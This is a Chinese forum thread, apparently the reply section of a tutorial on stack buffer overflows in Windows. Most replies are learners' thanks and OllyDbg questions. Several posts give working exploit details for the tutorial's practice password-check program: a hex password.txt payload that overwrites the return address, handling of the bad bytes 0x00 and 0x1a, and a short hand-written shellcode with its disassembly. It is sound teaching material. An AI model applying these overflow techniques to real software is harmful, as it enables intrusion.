能力值:
( LV2,RANK:10 )
|
-
-
26 楼
还是不行,清楚cookie再登陆还是没图片只有链接,你能看到图片吗?
|
能力值:
( LV2,RANK:10 )
|
-
-
27 楼
大哥能不能给个OllyDbg的入门教程,从这节课开始像我这样的没基础的就跟不上了。。。不知道怎么分析出来的各个函数的地址什么的,前面讲得都非常基础都能听懂。。。这里没基础是应该看什么教程?调试还是什么?谢谢!
还有,这节课的数组还是8个元素啊,没看到44个。。。是怎么回事?
|
能力值:
( LV2,RANK:10 )
|
-
-
28 楼
不好意思,刚找到入门文章。。。对我的匆忙提问表示抱歉。。
http://bbs.pediy.com/showthread.php?t=31840
先去学习了。。。
|
能力值:
( LV12,RANK:2670 )
|
-
-
29 楼
|
能力值:
( LV2,RANK:10 )
|
-
-
30 楼
好喜欢你的文章
|
能力值:
( LV9,RANK:210 )
|
-
-
31 楼
我一直在没有星星的夜里摸索,如今,终于看到了星光......
|
能力值:
( LV8,RANK:130 )
|
-
-
32 楼
对不起,我没看清楚,在我机器上用了示例的password文件,一直不能正确运行。用ollydby 一调试发现地址有问题,重新做一个password通过测试。
|
能力值:
( LV2,RANK:10 )
|
-
-
33 楼
看了这个 收获很大,早出2个月就更好了 当时在看The_Shellcoder's_Handbook
可惜里面基础部分和中级部分都是在LINUX上实现的 想装LINUX 可惜硬盘容量不够...挣扎很久
才放弃的.....终于有在WINDOWS上的 基础教程了....特地还原了机器 恢复了删除的VC6
顺便问一下 为什么我把第4个单元 改成正确的EBP 结果 没有溢出?
看到你上面说 因为堆栈不平衡 程序崩溃 所以我试着改了第4个单元
重载以后 发现 第5个单元没有覆盖函数返回的地址...
怎么回事?而且改了以后 TXT里 全部变成乱码
|
能力值:
( LV9,RANK:290 )
|
-
-
34 楼
坐第5排学习!~~~
|
能力值:
( LV2,RANK:10 )
|
-
-
35 楼
明天等着做沙发??
顺便问下,为什么:
仍然出于字节对齐、容易辨认的目的,我们将“4321”作为一个输入单元。
buffer[8]共需要2个这样的单元
第3个输入单元将authenticated覆盖
第4个输入单元将前栈帧EBP值覆盖
第5个输入单元将返回地址覆盖
这个是怎么得到的啊???是根据程序默认的处理还是用OD调试的
好象本文没说怎么个"通过动态调试,发现栈帧中的变量分布情况基本没变。这样我们就可以按照如下方法构造password.txt中的数据:"
|
能力值:
( LV9,RANK:210 )
|
-
-
36 楼
来晚了,继续学习
吱-吱-吱
|
能力值:
( LV2,RANK:10 )
|
-
-
37 楼
为什么楼主的OD可以识别 fopen这类函数呢
我的无论哪个版本都不行呀
|
能力值:
( LV2,RANK:10 )
|
-
-
38 楼
看出来了,你在出书。。什么时间,我第一个买
|
能力值:
( LV2,RANK:10 )
|
-
-
39 楼
请问显示反汇编后显示函数名而不是显示函数编号的OD插件是什么?谢谢大侠能帮助我,有这个插件的话不妨上传一个
|
能力值:
( LV2,RANK:10 )
|
-
-
40 楼
学习完成! 还比较容易理解啊,遇到一个问题呀
verify_password函数的位置 ,不用跳转怎么找这个位置啊``,要是自己去寻找漏洞的话 一定要会找 这个地方啊,作者大大讲明白点点嘛``不是很清楚怎么进去这个栈栈
|
能力值:
( LV2,RANK:10 )
|
-
-
41 楼
坐后面也得学习啊
|
能力值:
(RANK:330 )
|
-
-
42 楼
1:检查你写入的正确EBP的字节序,大顶机需要按DWORD字节逆序
2:检查填入字节的值,fscan函数会对一些敏感字节值(文件EOF)做出其他响应,如0x00等,前面有一层的朋友说过这个问题。这会password.txt中的字符串被截断。
3:当然乱码了,我们是按2进制形式填入的机器代码,肯定很多不在ASCII范围内的。
4:只恢复EBP是不够的,还有ESP,还有要让EIP返回到原先的位置。最后EAX这些寄存器也可能会引起错误。要修复所有相关寄存器才能恢复到原先的流程上去,这虽然困难,但却是可以做到的,取决于shellcode的质量和你的汇编编程技巧以及对系统的了解程度~~~~其实还有SEH退出等方法可以用
这个属于比较高级的问题,会在后面的讲座中逐渐加入。我还是主张一步一个脚印的学习方式,虽然可以看到很多鸟儿已经跃跃欲试,准备振翅高飞了:)
|
能力值:
( LV9,RANK:850 )
|
-
-
43 楼
举手,提问了
大概和楼主的系统不一样,地址有少许出入。就是要构造的返回地址0x401122和我的0x40111a,
对于楼主构造的
3433323134333231343332313433323122114000
fscanf总是能获取到完整的一行
而我的0x40111a
343332313433323134333231343332311a114000
总是只获取到返回地址前的dword,就是第四个"4321",导致后面构造的返回地址没能覆盖掉原来的
并且"4321432143214321"最后的一个NULL,覆盖了原返回地址0x4010ff,所以就返回到0x401000了,
附上我的txt
|
能力值:
( LV9,RANK:850 )
|
-
-
44 楼
下面多发了一贴```汗
|
能力值:
( LV9,RANK:850 )
|
-
-
45 楼
原来0x1a模拟文件结束
我想其他办法吧
|
能力值:
( LV9,RANK:850 )
|
-
-
46 楼
问题解决 分享一下
---------------
因为我的系统中,该程序的密码正确提示分支地址是0x40111a,而0x1a模拟文件结束,当fscanf从文件获得一行文件时,遇到0x1a则停止。
所以不能直接覆盖返回地址( 1a 11 40 00 )
buffer[8] (8字节)+authenticated变量(4字节)+原栈帧(4字节)+返回地址(4字节)
=20字节
减去返回地址必须的四个字节,我们还有16字节的利用空间
构造一个返回地址,让程序返回我们的buffer,在buffer及以后的十六字节中让程序返回正确分支0x40111a
条件是,
因为fscanf,所以不能直接出现0x1a;
因为strcpy,所以不能直接出现0x00空中止;
控制在16字节以内。
下面是我构造的反汇编代码:
0013FB7C 33C0 xor eax, eax
0013FB7E B0 40 mov al, 40
0013FB80 C1E0 10 shl eax, 10
0013FB83 66:B8 2211 mov ax, 1122
0013FB87 2C 08 sub al, 8
0013FB89 50 push eax
0013FB8A C3 retn
0013FB8B 90 nop
上面加上一个nop后是十六字节,算出0x40111a,再后面四字节的返回地址
0013FB7C 33 C0 B0 40 C1 E0 10 66 B8 22 11 2C 08 50 C3 90 3腊@拎f?,P脨 0013FB8C 7C FB 13 00 |?..
返回ebp還是有問題,我放棄
在楼主大侠面前献丑了
|
能力值:
( LV2,RANK:10 )
|
-
-
47 楼
study ...
|
能力值:
( LV2,RANK:10 )
|
-
-
48 楼
|
能力值:
( LV2,RANK:10 )
|
-
-
49 楼
听课了 还好不是很晚 o(∩_∩)o...
|
能力值:
( LV2,RANK:10 )
|
-
-
50 楼
我已经来晚了n天了,不过还是很认真的学习。
|
|
|